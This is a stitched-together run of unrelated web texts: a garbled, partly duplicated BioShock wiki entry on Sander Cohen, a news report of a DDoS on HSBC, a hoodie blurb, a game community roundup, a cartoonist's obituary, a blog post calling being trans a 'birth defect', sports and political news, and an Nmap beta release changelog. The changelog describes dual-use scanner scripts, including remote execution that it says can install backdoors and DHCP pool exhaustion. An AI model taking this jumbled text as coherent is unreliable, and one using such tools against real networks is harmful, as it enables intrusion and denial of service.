vo_s_4_co_mygod ) My God…My God…My God…My God…My God.…My God…It's…it's BEAUTIFUL… ( vo_s_4_co_pathclear ) You'll find your path to Ryan is now clear. Tell him Sander said, "Hello". Oh yes…you may avail yourself upon one of my lesser works as a token of our time together. If you had become my one and true Disciple, you might have been worthy of seeing inside the box of my most private Muse…but who knows if THAT man is yet even born…Now……GO!!!!!!!!" When the Quadtych Is Damaged Edit ( vo_s_4_co_whatyourself ) (While gesticulating erratically, as if Enraged) "Watch yourself you clumsy sow! That's my work!" Berserk Edit ( vo_S_4_Co_berserk ) "This isn't right!" Attacking in General Edit ( vo_S_4_Co_challenge_common ) " Don't look at me! " " " I'm Sander Fucking Cohen! " " " No, no, no! " " " Look at me, boy! " " "Smile! Smile!" If the Player Runs Edit ( vo_S_4_Co_seestargetflee ) " Come back! Please come back! " " " Fly little moth! Fly! " " "It turns its tail! Turns its tail!" Challenge Rooms Edit Main article: Challenge Rooms The BioShock downloadable content Challenge Rooms uses the "Sander Cohen's Chamber of Thrills!" pulp-style comic book series as a framing device for the different challenges and fighting areas the player encounters. Each comic book features Cohen on the cover and is drawn in the style of classic EC Comics from the 1950s.[7] BioShock 2 Edit Main article: BioShock 2 While Sander Cohen doesn't appear in BioShock 2, he is still a well known person in Rapture and is mentioned by many Splicers, especially the Brutes. His presence is felt in Dionysus Park where his exhibit of art, "Cohen's Collection", is damaged but still present. If the player chooses to gather ADAM from corpses in his art gallery Cohen's Scherzo will play throughout. At two locations the player may hear echoing laughter at the beginning or end of this song. His portrait is seen in various places around the city, and he is mentioned in an audio diary that was removed from the game. Cohen is also pictured in the "Rapture Best and Brightest - 1952" poster, alongside Rapture's other key figures. BioShock 2 Multiplayer Edit Main article: BioShock 2 Multiplayer Cohen is mentioned in several loading screen quotes in BioShock 2 Multiplayer, mostly relating to him having to close Fort Frolic. His apartment can be found in the Multiplayer version of Mercury Suites and Cohen's Collection can be found in the Multiplayer version of Dionysus Park. Burial at Sea Edit Main article: Burial at Sea While in Rapture, Elizabeth spent two months as Cohen's disciple so she could learn more about his trafficking ring and his connection to Sally. While with him, he called her his 'New Songbird' and together they released a record called "You Belong to Me". Episode 1 Edit Sander Cohen makes a full appearance as an important figure in Rapture's still active art scene. Booker DeWitt and Elizabeth infiltrate his private club in order to find information regarding Sally. In order to enter the club, the duo are required to locate the iconic white rabbit mask for Booker, which can be found in one of three businesses sponsoring the private event. Once inside, Booker and Elizabeth witness the artist orchestrating a show and confront him. Cohen admits to know the whereabouts of Sally but in exchange for the information, he asks them to dance for him. The duo agrees, but after a short time, a displeased Cohen electrocutes the dance floor, rendering them unconscious. Booker regains consciousness for a brief moment to see Cohen taunting him, claiming that "a moth will become a butterfly." Sometime later, Booker is woken by Elizabeth in a Bathysphere, on their way to the prison converted Department Store, where Cohen sent them to find Sally. Two of his short films, "The Black Dream" and "The March Hare", can be found at Fontaine's Station. In between traveling to Housewares via tram from the Pavilion Station, Elizabeth asks Booker of Cohen's reasoning as to why he sent Sally to the sunken Department Store, to which Booker replies that Sander must have thought of it as "high art". Although, as the two first descend towards the Department Store, Cohen mentions that he provided services for those who could pay, implying Atlas had paid for a Little Sister to be sent to the department store. Episode 2 Edit A short film by Sander Cohen is found in the Manta Ray Lounge, called "Regardèrent et Furent Observés". When played, a distorted voice asks the viewer, "Why do you stand there? When someone is right… BEHIND YOU." Upon turning around, Elizabeth is startled by a masked mannequin that had appeared out of nowhere. Cohen is also seen standing next to Elizabeth on a poster for the album "You Belong to Me". Another poster of him is found in the cafeteria of Ryan the Lion Preparatory Academy under the title of "Artist" on the "Heroes of Rapture" wall, between Brigid Tenenbaum and Yi Suchong. Audio Diaries Edit BioShock Edit Burial at Sea - Episode 1 Edit Videos Edit Bioshock - Sander Cohen's Outburst (HD) Sander Cohen's outburst during construction of the Quadtych. Sander Cohen's death Cohen's appartment. Sander Cohen Battle Dialogue (Bioshock) Quotes from Sander Cohen. Gallery Edit Concept Art and Promotional Images Edit In-Game Images Edit BioShock: The Collection. . mask off while he is walking down the stairs, he will take another one off when he reaches the second set of steps. Behind the Scenes Edit Sander Cohen's art style is heavily based on the Contemporary art movement, which started in the 1910s but did not become popular until the late 1940s to the 1970s. Sander Cohen, Andrew Ryan, and Frank Fontaine in his final boss form are the only characters in BioShock with their own unique and specific character models rather than a reused and slightly tweaked Splicer model. with their own unique and specific character models rather than a reused and slightly tweaked Splicer model. Cohen is the only Splicer to sport a gold/bronze rabbit mask rather than the common white/gray ones (prior to Burial at Sea - Episode 1 ). ). Sander Cohen's character was inspired by "the man who owned Broadway" George M. Cohan, an American entertainer, playwright, composer, lyricist, actor, singer, dancer and producer in the 1900-1920s. Although Cohen's multiple talent inspiration was that of George M. Cohan, the character was hybrid with notable attributes of flamboyant artist Salvador Dalí, who although had his most well-known work in 1931 through the 50's, would obsessively continue to create and experiment into other mediums until his death. Like the character, Dalí was also as eccentric about his own work, especially his distaste against his critics and other popular artists. Despite the latter of his pride, Dalí did collaborate with other artists that praised him. Most notably in comparison, Dalí even styled an elaborately waxed mustache. Cohen's pancaked make-up was inspired by Bette Davis's character (erroneously credited to Joan Crawford by Robb Waters) in the film " What Ever Happened to Baby Jane? " [8] " As seen in the Development Walkthrough video of BioShock, Hunting The Big Daddy, [9] Sander Cohen's appearance in the Why Even Ask poster was drawn with more darker shading and detail, making him appear much older and more like Salvador Dalí. This was altered later to a yellow-tinted version of his Audio Diary portrait. ,, Sander Cohen's appearance in the poster was drawn with more darker shading and detail, making him appear much older and more like Salvador Dalí. This was altered later to a yellow-tinted version of his Audio Diary portrait. In Eve's Garden, as Jack walks to the bedroom, the door is closed and Jasmine Jolene's ghost can be heard inside. Through the crack at the bottom of the door, an eerie shadow is cast in the red light. That shadow is made by two Sander Cohens using the ghost pole dancer animation. The animation plays twice, followed by the disappearance of the Cohens. This can only be seen by using Console Commands to disable clipping (on the PC or Mac). If the player somehow manages to get a Splicer to attack Cohen's "masterpiece" (such as using the Target Dummy Plasmid), Cohen will attack the player, rather than the Splicer that disturbed his work. If the player puts a Target Dummy on or near Sander Cohen, and manages to get a Splicer to attack him, Cohen will ignore all damage and continue to admire his art. Cohen is the only enemy that will attack the player if hit with Security Bullseye. It has been officially confirmed by the developers that Sander Cohen is homosexual. [10] This has been hinted at on numerous occasions in BioShock and even BioShock 2, where the closeted Brute Splicers revere him as a role model (although, ironically, they are unaware of his orientation). The Audio Diaries left by his disciples also suggest that he was romantically linked with each one before they turned against him. This has been hinted at on numerous occasions in and even, where the closeted Brute Splicers revere him as a role model (although, ironically, they are unaware of his orientation). The Audio Diaries left by his disciples also suggest that he was romantically linked with each one before they turned against him. If one looks up at the theater seats shortly after Sander Cohen kills Kyle Fitzpatrick, the player will see the Gene Tonic Alarm Expert. If the player goes to the seats and jumps over, Sander will comment " What an outstanding display of athleticism. " This action will also spawn a few Houdini Splicers. Cohen will comment under any occasion, even if the player has already killed him. " This action will also spawn a few Houdini Splicers. Cohen will comment under any occasion, even if the player has already killed him. If the player shoots Kyle Fitzpatrick before Cohen has the chance, the piano will explode as usual, but Cohen will say "Oh, that was quicker than I hoped…" Sander Cohen was planned at one point to return in BioShock 2 as a "20-foot-tall Freudian monster bunny". [11] T. Ryder Smith recorded the voice for the rabbit, but the recordings were left unused. T. Ryder Smith asked what the robotic rabbit looked like and was give the answer: " A rabbit crossed with the Trojan Horse ". [12] Concept art by Eric Sterner was made for a three-act dream sequence level entitled "The Queen & The Rabbit". [13] It would have featured a chess match between The Queen and The Rabbit, held by Cohen. as a "20-foot-tall Freudian monster bunny". According to Ken Levine, Bill Gardner composed the Kinetoscope videos for The Black Dream and The March Hare for Burial at Sea - Episode 1. [14] and for. If the player attacks Sander Cohen in Fort Frolic, and then is killed, they will re-spawn in the Vita-Chamber, and if they then return to the masterpiece, Cohen will be standing there admiring it, unaware of the player unless they get too close. In BioShock, Sander Cohen's eyes are a bright green, whereas in Burial At Sea - Episode 1, his eyes are of a dark hazel color. This change in eye color could be explained as an intended, or unintended, result of splicing. , Sander Cohen's eyes are a bright green, whereas in, his eyes are of a dark hazel color. This change in eye color could be explained as an intended, or unintended, result of splicing. By the time the players enters Fort Frolic in BioShock, Cohen has killed at least 34 people and plastered their bodies; there are two more plastered bodies in Cohen's bedroom in Mercury Suites. He also murders one of his disciples and orders the deaths of three more. He later sends seventeen Splicers on what is essentially a suicide attack on the player. It is implied he has killed many more. , Cohen has killed at least 34 people and plastered their bodies; there are two more plastered bodies in Cohen's bedroom in Mercury Suites. He also murders one of his disciples and orders the deaths of three more. He later sends seventeen Splicers on what is essentially a suicide attack on the player. It is implied he has killed many more. Cohen's voice actor, T. Ryder Smith, also voiced the First Zealot and the other Zealots of the Lady, as well as the Vigor Barker in BioShock Infinite.GLOBAL BANKING ORGANISATION HSBC has confirmed that its servers were hit by a denial of service attack last night that took down a number of its websites, and the Anonymous group has been quick to take credit. The firm does not know why it was targeted. A Twitter account called @Fawkessecurity has taken credit for the attack and has posted a statement to Pastebin. "As some of you may be aware HSBC bank suffered several DDoS attacks on the named sites in the past hours us.hsbc.com hsbc.co.uk hsbc.com hsbc.ca they were all brought down by #FawkesSecurity," it says. "The proof is all in our Twitter account, Targets, time and date :) @FawkesSecurity". A Youtube video has also been released, but no reason for the attack has been revealed. According to HSBC's statement, no customer data was affected but customers will have struggled to access its online systems. The firm has told the authorities and is working with them on tracking down the culprits. "HSBC servers came under a denial of service attack which affected a number of HSBC websites around the world. This denial of service attack did not affect any customer data, but did prevent customers using HSBC online services, including internet banking," it said in a statement. "We are taking appropriate action, working hard to restore service. We are pleased to say that some sites are now back up and running. We are cooperating with the relevant authorities and will cooperate with other organisations that have been similarly affected by such criminal acts. We apologise for any inconvenience caused to our customers throughout the world." The websites recovered a few hours later and HSBC says that everything is now back to normal. It thanked customers for their patience. Update While the HSBC statement claims that no customer data has been affected, the Fawkessecurity Twitter account claims otherwise. In a statement it disputed the bank, saying, "This isn't entirely correct. We also managed to log 20,000 debit card details." µThey call the Optimus Prime Hoodie a costume, but come on. I would rock that shizit out any day of the year. Particularly days when I feel like spontaneously transforming into a brave and wise leader of robots (with accompanying mouth-made sound effects) in a large, semi-quiet public space, such as the Albuquerque airport or jury duty waiting room. Costume. Please. This zip-front hoodie featuring spacious kangaroo pockets and appliqued Transformer adornments is about to become one of my wardrobe staples. Available in sizes S through 3XL, the Optimus Prime Hoodie design includes cotton and polyester blend expressions of Autobot lights, windows, and grills. The half-mask summoned forth by zipping the hood is fully lined with blue satin fabric, and sports topstitched accents and foam-lined antennae. A white Autobots logo is screenprinted on the upper left sleeve. Muchas danke to Jamie B. for the product suggestion.Welcome back for the latest community roundup, where we highlight our favorite fan-made Rivals art, music, videos, and more. Read on to catch up on some great community pieces you might have missed. ART Absa from Rivals of Aether pic.twitter.com/O6XqMKRjBl — Yu (@Magmarashiiii) August 27, 2017 After shine 2017 @RivalsOfAether finals, you could easily come to the conclusion that Forsburn is the coolest rival. You'd be correct 🏅🚬 pic.twitter.com/LZ15ijvXl5 — Fred Cassar (@mutejazz) August 29, 2017 Working on Ranno I'm curious that if he will wearing shorts? Short shorts xD #RivalsofAether pic.twitter.com/M9y9OxK9yb — ✨🌈🦊 (@JenVulpine) August 27, 2017 Rushed it a bit because of college tomorrow, but I was too hyped about the release on Rivals of Aether to not do SOMETHING! I love Ori!!! pic.twitter.com/SA9DnMM24c — Mr Ice (@RyanBlackmarr) August 24, 2017 the best character in rivals of aether hands down @RivalsOfAether pic.twitter.com/ya7ibKsRBo — Josiah Knuth (@ssbmdunleith) September 5, 2017 While we’re on the art category, it’s also worth mentioning that there’s now a dedicated #art-gallery channel in the official discord. There’s tons of great artists in the community and the gallery is just another place to highlight them. Take a look or post your own at discord.gg/RoA. A cool Rivals version of King from Cave Story by Brawlitup99 from the discord #art-gallery: A dunkmaster Etalus skin from /u/ChiuceBox: MUSIC Dekanai over on soundcloud put together this awesome symphonic metal version of the abyss track “Formless Onslaught” from the OST. VIDEOS And CLIPS One of the first combo videos to feature Ori was put together by Cupz and Adam Carra. This is a great early showing on what this character can do. Hopefully we’ll see some more flashy Ori play in the RCS this weekend. bAK47ed put together a bunch of cool Ori and Sein tutorials and early tech videos for the pair. Here’s just one useful one on how to do team-up smashes. Check out his channel for others on Sein spiking, bindings, and more. /u/Chewyoo shows off a beautiful light grenade shot that leads to a kill. OTHER GOOD STUFF Golden Elite has some fantastic guides and just recently put out a new one focusing on helpful stuff for newer players. This guide compiles all kinds of things from common Rivals terminology, character specific techs, and even links to other guides and community hangouts. I highly recommend this for any players that are looking to take a step deeper into the game. Check it out here: Golden Guides: The Basics Here’s one of our favorite moments from PAX West: Best cosplay we've seen hands down at #PAXWest2017 👌 pic.twitter.com/z1xYEj8ySW — Rivals of Aether (@RivalsOfAether) September 3, 2017 Most underappreciated (best) recent video: That’s it for this community roundup! Let us know in the comments if we missed any of your favorites, and be sure to give the creators some love.Archie Comics Cartoonist Tom Moore Dies At 86 Enlarge this image toggle caption AP AP Artist Tom Moore, who gave life to the teen angst of Archie and his Riverdale pals from 1953 to the late 1980s, has died of lung cancer in El Paso, Texas. According to his hometown paper, the El Paso Times, Moore began his cartooning career while serving in the U.S. Navy. Moore got caught drawing a caricature of his captain, but instead of getting in trouble, he got an assignment as staff cartoonist. His talent led him to a decades-long career illustrating for Archie, as well as Under Dog and Mighty Mouse comics. "He's a legend, in El Paso and, really, around the United States," All Star Comics & Games owner Brad Wilson told the paper. "A lot of people don't realize how much he influenced comic book art." Archie Comics' editor-in-chief, Victor Gorelick, told The Associated Press: "Tom was very funny and had a knack for putting together really great, hilarious gags and special pages when he worked at Archie." Gorelick says Moore was best known for drawing a reboot of the "Jughead" series in the 1980s, featuring Archie's best friend and sidekick. Archie Comics launched in 1941, inspired in part by the Andy Hardy movies of the 1930s. Although many associate Archie and the gang with classic high school drama, the franchise evolved to take on modern topics and add greater diversity to its cast of characters. Moore kept up with the Archie character even after his retirement, and was pleased when some of his work was displayed at the El Paso Museum of Art in 1996. "I think it's such a kick that my stuff is going to be hanging at the museum," he said at the time. "Who knew Archie would have such universal appeal?"In defense of cis gay men Why have the SJWs decided now to turn on gay men? All over Tumblr I see posts about how awful and selfish “cis gay men” are. Don’t they know that the entire American LGBT rights movement started with gay men? I suppose this younger generation doesn’t know a lot about Matthew Shepard, Harvey Milk, or Stonewall. We seem to get especially attacked by the trans community. Trans people seem to have forgotten that any and all visibility they have now stems from that movement. Trans people were completely invisible before they teamed up with gays and lesbians. The money donated to Trans-helpful organizations like HRC comes mainly from gay white men. We can’t raise kids without a major effort, so we have more disposable income as the trade off. There is nothing wrong with those organizations pushing bills that help the majority of the LGB community (and many help trans folks too). Trans people are a tiny minority of a minority. Resources have to be spent where they will do the most good for the largest number of people. We have often risked losing gay rights legislation to make sure bills were written to include Trans-friendly language. Don’t get me wrong. I agree that the public needs to be more sympathetic to trans causes. Trans people have a very unfortunate birth defect and I can’t understand why people treat them so harshly compared to people born with holes in their heart or other types of conditions. I think we should all work to make gender transitioning more cost effective and a basic human right for those that need it. It shouldn’t be a shameful act to change one’s gender to match one’s internal self. I also see lots of comments about how cis gay men don’t care about feminism. We are born male and that does come with certain privileges. We can never truly understand what women go through every day, so maybe we aren’t as vocal as you’d like. We get caught up in our own civil rights battles so much that we often don’t think enough about other groups. I hope and believe that will change after LGB Americans have the right to marry and some employment nondiscrimination laws on the books. Women are often our best friends. We respect you more than you realize. Some of us are rude sometimes and say “vaginas are gross” and catty comments like that. That is inexcusable and is usually said by gays that are young or have not had the luxury of higher education. Sometimes we can be jealous of you. You get to date that hot straight guy we had a crush on. Or you get to go clothes shopping and see thousands of cool choices while we get the same boring variations of shirts and pants. Or sometimes we are just feeling bitter because you can hold hands with your boyfriend down the street while we are afraid to do the same. We envy you and that can make some gay men make nasty comments. It doesn’t mean we don’t love and admire you also. We’re sad that you live in a world where you live in fear of being raped. Actually, the more effeminate gay men out there kind of even deal with the same thing; we live in fear that a truckload of rednecks will attack us when we walk home alone at night. It isn’t exactly the same, but we are more sympathetic than you can imagine. We’ll never fully understand the frustration you feel in this world. You can be sure though that the overwhelming majority of gay men are not out to sabotage or belittle you in any way. We aren’t going to pass on you for promotions at work and certainly aren’t going to assault you. We want to be your friends and see you flourish. If you’ve ever seen a drag show you can see how much we admire you and poke fun of ourselves for wanting so badly to be like you. The truth is that most gay men see women for the goddesses they are. Straight men, we don’t hate you either. You are our brothers, fathers, and friends too. We know that the overwhelming majority of you aren’t out to beat us up for being gay or to rape/assault women. We are sympathetic to the pressure you must be under to maintain that illusion of masculinity our society forces upon you. We are sad that society places so many boxes around your identity, making you feel like you have to dumb yourselves down. We know that society wants to turn you into a sports/sex/car crazy beast that lives off of only red meat and beer. We are sad you don’t get to explore your emotions openly. We get it. We were almost forced into those boxes too. Thankfully we gay men have the option to push back since we are perceived as “weak” and “feminine” anyway. While you are the most “privileged” of us all (whatever that means), we know you are oppressed in ways women will never fully understand. Maybe our tendency to push the boundaries of what is considered masculine will help you in some way too. Lesbians, why don’t more gay men and lesbians hang out as friends? We have the most in common out of all other groups. We fight the same battles for marriage and employment rights. We are all told we’re inferior for loving someone of the same gender. Heck, we even get told we’ll even be denied a happy afterlife due to a sexual orientation we’ve had since birth. We’ve been fighting alongside each other since the beginning of our civil rights movement, but we don’t socialize enough as friends. That needs to change. Only superficial differences keep us apart. Gay men and lesbians can freely take on the best qualities of femininity and masculinity. That’s why we are perceived as being superior creative types. We don’t worry so much about society’s gender laws because we are outside the norm anyway. You are our sisters. There is a lot we can learn from each other. If we work together we can make this a better world for us all. POC, your anger is justified in this world. You are truly oppressed. At least most white LGB folks can hide our sexual orientations when needed. Your skin color is forever there. I won’t speak much on race though since gay men come from every ethnicity. Sadly, some gay men are indeed racist, but that exists in all categories of people. I suspect the level of racism in the gay community is at least smaller proportionally when compared to the general population. It is disgusting to be discriminated against due to anything that’s outside your control. Gay men know that from experience, and most of us want this country to have full racial equality. Sorry for this rant. I’ve just been needing to respond to all the hateful comments I’ve been seeing. It is bad enough to see hate from the right wing, but it is even more hurtful when it comes from groups that should be our friends. This world needs more love and understanding and not just bitterness and attacks all the time. 🌈NEW YORK (Reuters) - U.S. Democratic presidential front-runner Hillary Clinton launched a bid on Thursday to draw young voters and small donors to her campaign, targeting the strengths of her rival, Bernie Sanders, as she looks ahead to the general election. U.S. Democratic presidential candidate Hillary Clinton waves after leading a discussion on gun violence prevention at the Wilson-Gray YMCA in Hartford, Connecticut, U.S., April 21, 2016. REUTERS/Adrees Latif Dubbed “for45” - for Clinton as the 45th president of the United States - the group will offer associate level membership for as low as $250, according to an invitation seen by Reuters for an April 25 Philadelphia event. “We will have an opportunity to fundraise and host low-dollar events, speaking to what we are passionate about and why we support her,” said Akilah Ensley, a 32-year-old Clinton supporter planning to join the group. “It’s important that we engage.” The group held its “kick-off” conference call on Thursday, featuring the Clinton campaign’s finance director, Dennis Cheng, other campaign officials, and actress Lena Dunham, according to an invitation to the call
Mitchell made the play of practice on Sunday by rumbling for an unexpected first down on one on of his catches in team drills. He caught both passes thrown to him. Mitchell mostly played it coy afterwards. But Dolphins teammate and running back LaMichael James said don’t believe Mitchell’s modesty. “You know he definitely wants the rock,” James said. “Every guy on the defensive line or a defensive player definitely wants the rock. If he tells you he don’t want that [football], he’s lying.” Here are some other notes and observations from Sunday’s practice:Nmap Development mailing list archives By Date By Thread Nmap 5.10BETA1 released From: Fyodor <fyodor () insecure org> Date: Mon, 23 Nov 2009 00:33:07 -0800 Hi folks. I'm happy to announce our first post-5.00 release! It contains the results of a full five months of work, since the 5.00 release candidate was branched off in June. Good work, everybody! Changes include: o 14 new NSE scripts, bringing the total to 72! o A brand new (much faster and more efficient) --traceroute system o The Zenmap host filter (Ctrl-L) for drilling down to the exact systems you want to see in a big scan based on the criteria you specify. For example, type "apache" to see all the hosts running a version of the Apache web server. o UDP protocol-specific payloads make UDP scanning and host discovery much more effective. o And more than 100 other significant changes! With such a massive release, I wouldn't be surprised to find some bugs lurking about. Please give this some serious testing, as I'd like to turn it into a stable release in December. If you find any problems or have questions, see the instructions at http://nmap.org/book/man-bugs.html. If the problems are serious, I'll build and release 5.10BETA2. You can download Nmap 5.10BETA1 from the normal location: http://nmap.org/download.html Now here is the giant list of changes in this release (I've tried to put the most important ones near the top): Nmap 5.10BETA1 [2009-11-23] o Added 14 new NSE scripts for a grand total of 72! You can learn about them all at http://nmap.org/nsedoc/. Here are the new ones: o smb-psexec implements remote process execution similar to the Sysinternals' psexec tool (or Metasploit's psexec "exploit"), allowing a user to run a series of programs on a remote machine and read the output. This is great for gathering information about servers, running the same tool on a range of system, or even installing a backdoor on a collection of computers. See http://nmap.org/nsedoc/scripts/smb-psexec.html [Ron] o dhcp-discover sends out DHCP probes on UDP/67 and displays all interesting results (or, with verbosity, all results). Optionally, multiple probes can be sent and the MAC address can be randomized in an attempt to exhaust the DHCP server's address pool and potentially create a denial of service condition. See http://nmap.org/nsedoc/scripts/dhcp-discover.html. [Ron] o http-enum enumerates URLs used by popular web applications and servers and reports which ones exist on a target web server. See http://nmap.org/nsedoc/scripts/http-enum.html. [Ron, Andrew Orr, Rob Nicholls] o ssl-cert retrieves and prints a target server's SSL certificate. See http://nmap.org/nsedoc/scripts/ssl-cert.html. [David] o x11-access checks whether access to an X11 server is allowed (as with "xhost +" for example). See http://nmap.org/nsedoc/scripts/x11-access.html. [jlanthea] o db2-info enhances DB2 database instance detection. It provides detection when version probes fail, but will default to the version detection probe value if that is more precise. It also detects the server platform and database instance name. The DB2 version detection port ranges were broadened to 50000-50025 and 60000-60025 as well. See http://nmap.org/nsedoc/scripts/db2-info.html. [Tom] o smbv2-enabled checks if the smbv2 protocol is enabled on target servers. SMBv2 has already suffered from at least one major security vulnerability. See http://nmap.org/nsedoc/scripts/smbv2-enabled.html. [Ron] o http-favicon obtains the favicon file (/favicon.ico or whatever is specified by the HTML link tag) and tries to identify its source (such as a certain web application) using a database lookup. See http://nmap.org/nsedoc/scripts/http-favicon.html. [Vladz] o http-date obtains the Date: header field value from an HTTP server then displays it along with how much it differs from local time. See http://nmap.org/nsedoc/scripts/http-date.html. [David] o http-userdir-enum attempts to enumerate users on a system by trying URLs with common usernames in the Apache mod_userdir format (e.g. http://target-server.com/~john). See http://nmap.org/nsedoc/scripts/http-userdir-enum.html. [Jah] o pjl-ready-message allows viewing and setting the status message on printers which support the Printer Job Language (many HP printers do). See http://nmap.org/nsedoc/scripts/pjl-ready-message.html. [Aaron Leininger] o http-headers performs a GET request for the root folder ("/") of a web server and displays the HTTP headers returned. See http://nmap.org/nsedoc/scripts/http-headers.html. [Ron] o http-malware-host is designed to discover hosts that are serving malware (perhaps because they were compromised), but so far it only checks for one specific attack. See http://nmap.org/nsedoc/scripts/http-malware-host.html. [Ron] o smb-enum-groups displays a list of groups on the remote system along with their membership (like enum.exe -G). See http://nmap.org/nsedoc/scripts/smb-enum-users.html [Ron] o Nmap's --traceroute has been rewritten for better performance. Probes are sent in parallel to individual hosts, not just across all hosts as before. Trace consolidation is more sophisticated, allowing common traces to be identified sooner and fewer probes to be sent. The older traceroute could be very slow (taking minutes per target) if the target did not respond to the trace probes, and this new traceroute avoids that. In a trace of 110 hosts in a /24 over the Internet, the number of probes sent dropped 50% from 1565 to 743, and the time taken dropped 92% from 95 seconds to 7.6 seconds. Traceroute now uses an ICMP echo request probe if no working probes against the target were discovered during scanning. [David] o [Zenmap] After performing or loading a scan, you can now filter results to just the hosts you are interested in by pressing Ctrl+L (or the "Filter Hosts" button) to open the host filtering interface. This makes it easy to select just Linux hosts, or those running a certain version of Apache, or whatever interests you. You can easily modify the filter or remove it to see the whole scan again. See http://nmap.org/book/zenmap-filter.html. [Josh Marlow] o For some UDP ports, Nmap will now send a protocol-specific payload that is more likely to get a response than an empty packet is. This improves the effectiveness of probes to those ports for host discovery, and also makes an open port more likely to be classified open rather than open\|filtered. The ports and payloads are defined in payload.cc. The ports that have a payload are 7 (echo), 53 (domain), 111 (rpcbind), 123 (ntp), 137 (netbios-ns), 161 (snmp), 177 (xdmcp), 500 (isakmp), 520 (route), 1645 and 1812 (radius), 2049 (nfs), 5353 (zeroconf), and 10080 (amanda). [David] o Integrated 1,349 fingerprints (and 81 corrections) submitted by Nmap users! They resulted in 342 new fingerprints (a 17% increase), including Google's Android Linux system for smart phones, Mac OS X 10.6 (Snow Leopard), the Chumby, and a slew number of printers, broadband routers, and other devices (40 new vendors). See http://seclists.org/nmap-dev/2009/q4/416 [David] o [NSE] For all the services which are commonly tunneled over SSL (pop3, http, imap, irc, smtp, etc.), we audited the scripts to ensure they can support that tunneling. The com.tryssl function was added for easy SSL detection. See http://nmap.org/nsedoc/lib/comm.html [Joao] o Nmap now prefers to display the hostname supplied by the user instead of the reverse-DNS name in most places. If a reverse DNS record exists, and it differs from the user-supplied name, it is printed like this: Nmap scan report for www.google.com (74.125.53.103) rDNS record for 74.125.53.103: pw-in-f103.1e100.net And in XML it looks like: <hostnames> <hostname name="openbsd.org" type="user"/> <hostname name="cvs.openbsd.org" type="PTR"/> </hostnames> Host latency is now printed more often. See http://seclists.org/nmap-dev/2009/q4/199 for a summary of other output changes. [David] o Ndiff now shows changes in script (NSE) output for each target host (in both text output format and XML). [David] o We now print output for down hosts, even when doing scanning beyond just a ping scan. This always prints to XML and grepable output, and is printed to normal and interactive output in verbose mode. The format for printing a down host has changed slightly: "Nmap scan report for 1.1.1.1 [host down]" [David] o [NSE] Default socket parallelism has been doubled from 10 to 20, which doubles speed in some situations. See http://seclists.org/nmap-dev/2009/q3/161. [Patrick] o Version detection's maximum socket concurrency has been increased from 10-20 based on timing level to 20-40. This can dramatically speed up version detection when there are many open ports in a host group being scanned. [Fyodor] o The Nmap source tarball (and RPMs) now included man page translations (16 languages so far). Nmap always installs the English man page, and installs the translations by default. If you only want some of the translations, set the LINGUAS environmental variable to the language codes you are interested in (e.g. "es de"). You can specify the configure option --disable-nls or set LINGUAS to the empty string to avoid installation of any man page translations. The RPM always installs them. [David] o [NSE] Added a function for scripts to format their output in a consistent way. See http://nmap.org/nsedoc/lib/stdnse.html#format_output. [Ron] o [NSE] Now supports worker threads so that a single script can perform multiple network operations concurrently. This patch also includes condition variables for synchronization. See http://nmap.org/nsedoc/lib/stdnse.html#new_thread, http://nmap.org/nsedoc/lib/nmap.html#condvar, and http://seclists.org/nmap-dev/2009/q4/294. o Fixed a problem in which the Nmap installer wrongly reported that the Microsoft Visual C++ 2008 Redistributable Package (vcredist.exe) failed to install. We had to update a registry key--see http://seclists.org/nmap-dev/2009/q3/164. [Jah] o Added support for connecting to nameservers over IPv6. IPv6 addresses can be used in /etc/resolv.conf or with the --dns-servers option. The parallel reverse DNS resolver still only support IPv4 addresses, but it can look them up over IPv6. [Ankur Nandwani] o Zenmap now includes ports in the services view whenever Nmap found them "interesting," whatever their state. Previously they were only included if the state was "open", "filtered", or "open\|filtered", which led to confusing behavior when a closed port showed up in the Services column but clicking on the service showed no ports in the display. [David] o [Ncat] Now has configure-time ASCII art just like Nmap does:.. \`-"'"-'/ } 6 6 { ==. Y,== /^^^\. / \ ) Ncat: A modern interpretation of classic Netcat ( )-( )/ -""---""--- / / Ncat \_/ ( ____ \_.=\|____E o [NSE] Added HTTP pipelining support to the HTTP library and and to the http-enum, http-userdir-enum, and sql-injection.nse scripts. Pipelining can increase speed dramatically for scripts which make many requests. o [NSE] The HTTP library now caches responses from http.get or http.head so that resources aren't requested multiple times during the same Nmap run even if several scripts request them. See http://seclists.org/nmap-dev/2009/q3/733. [Patrick] o [Ncat, Ndiff] The exit codes of these programs now reflect whether they succeeded. For Ncat, 0 means the connection was successful, 1 indicates a network error, and 2 indicates any other error. For Ndiff, 0 means the scans were equal, 1 means they were different, and 2 indicates a runtime error. [David] o [Ncat] In verbose mode, Ncat now prints the number of bytes read and written after the client connection is terminated. Ncat also now prints elapsed time. For example, "Ncat finished: 16 bytes sent, 566 bytes received in 8.05 seconds." [Venkat] o [NSE] telnet-brute.nse now uses the unpw database instead of a hard coded list. [Ron] o [NSE] ssl-cert.nse now supports TLS negotiation against SMTP ports that support it. [Tom Sellers, David] o [NSE] Scripts that are listed by name with the --script option now have their verbosity level automatically increased by one. Many will print negative results ("no infection found") at a higher verbosity level. The idea is that if you ask for a script specifically, you are more interested in such results. [David, Patrick] o Upgraded our Winpcap installer to use the new WinPcap version 4.1.1. A bug which could prevent proper uninstallation of previous versions was fixed at the same time. Later we made it set some registry keys for compatibility with the official Winpcap project installer (see http://seclists.org/nmap-dev/2009/q4/237). [Rob Nicholls] o [Ncat] Ncat now prints a message like "Connection refused." by default when a socket error occurs. This used to require -v, but printing no message at all could make a failed connection look like success in a case like ncat remote < short-file o Zenmap no longer displays down hosts in the GUI. [Josh] o The Ndiff man page was dramatically improved with examples and sample output. See http://nmap.org/ndiff/man.html. [David] o [NSE] At debug level 2 or higher (-d2), Nmap now prints all active scripts (running & waiting) and a backtrace whenever a key is pressed. This can be quite helpful in debugging deadlocks and other script/NSE problems. [Patrick] o Nmap now allows you to specify --data-length 0, and that is now the documented way to disable the new UDP protocol-specific probe payload feature. [David] o Fixed compilation of our libdnet on Debian GNU/kFreeBSD (patch from Petr Salinger). o Our Windows packages are now built on Windows 7, though they are 32-bit binaries and should continue to work on Win2K and later. o Fixed a bug that could cause an infinite loop ("Unable to find listening socket in get_rpc_results") in RPC scan. The loop would happen when scanning a port that sent no responses, and there was at least one other port to scan. Thanks to Lionel Cons for reporting the problem. [David] o [NSE] The dns-zone-transfer and whois script argument table syntax has been improved so you don't need curly braces. o [NSE] smb-enum-shares.nse now checks whether or not a share is writable by attempting to write a file (and deleting it if it's successful). Significantly cleaned up the code, as well. [Ron] o The nselib/data 